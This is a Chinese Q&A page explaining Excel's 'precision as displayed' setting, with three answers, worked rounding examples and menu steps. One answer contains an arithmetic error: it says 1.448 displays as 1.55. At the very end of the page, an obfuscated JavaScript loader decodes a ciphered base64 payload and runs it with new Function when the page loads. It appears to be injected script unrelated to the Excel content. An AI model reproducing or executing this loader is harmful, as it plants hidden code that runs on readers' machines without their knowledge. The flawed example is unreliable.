Excel 显示精度为准是什么意思?

2025-03-14 05:15:50
推荐回答(3个)
回答(1):

假设A1单元格的实数是1.558
B1单元格的实数是1.358
并设置单元格格式为两位小数
则A1显示为1.56
B1显示为1.36
C1中输入公式
=A1+B1
如果勾选了:"显示精度为准"
就以显示的数据计算结果为 =1.56+1.36
=2.92

如果没有勾选这个"显示精度为准"
就以实数计算结果为 =1.558+1.358
=2.916

回答(2):

让我们假设A1单元格的实数是1.448

B1单元格的实数是1.368

并设置单元格格式为两位小数

则A1显示为1.55

B1显示为1.37

C1中输入公式 

=A1+B1

如果勾选了:"显示精度为准"

就以显示的数据计算结果为 =1.45+1.37

=2.82

如果没有勾选这个"显示精度为准"

就以实数计算结果为 =1.448+1.368

=2.816

回答(3):

这是经常遇到的问题,原因是两个结果计算方法不同造成的,最后只能手工调整某个值,以达到平衡.例如:明细数中有3.154和4.163两个数,以显示精度为准(四舍五入保留两位小数)后分别为3.15和4.16,那么它们的和为7.31;

而另一种算法是先算合计数,结果为7.317,四舍五入保留两位小数为7.32.这样就造成了0.01的误差.多个这样的数字就可能造成更大的误差.(另外,以显示精度为准,如果小数位数设置不同,结果也是不同的.)

1、打开Excel工作表,单击【文件】---【选项】,如图所示:

2、在弹出Excel选项窗口中,单击【高级】选项卡,并在右侧窗口中定位到计算此工作簿时选项上,把“将精度设为锁显示的精度”的复选框勾选上,然后点击【确定】使设置生效,如图所示:

3、返回工作表界面,单击要设置格式的单元格,然后在【开始】功能区下点击【数字】选项组的对话框启动器按钮,如图所示:

4、进入“数字”选项卡界面,在分类列表中单击【数值】项,然后在小数位数框中调整所需的位数,最后单击【确定】即可生效,如图所示:

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();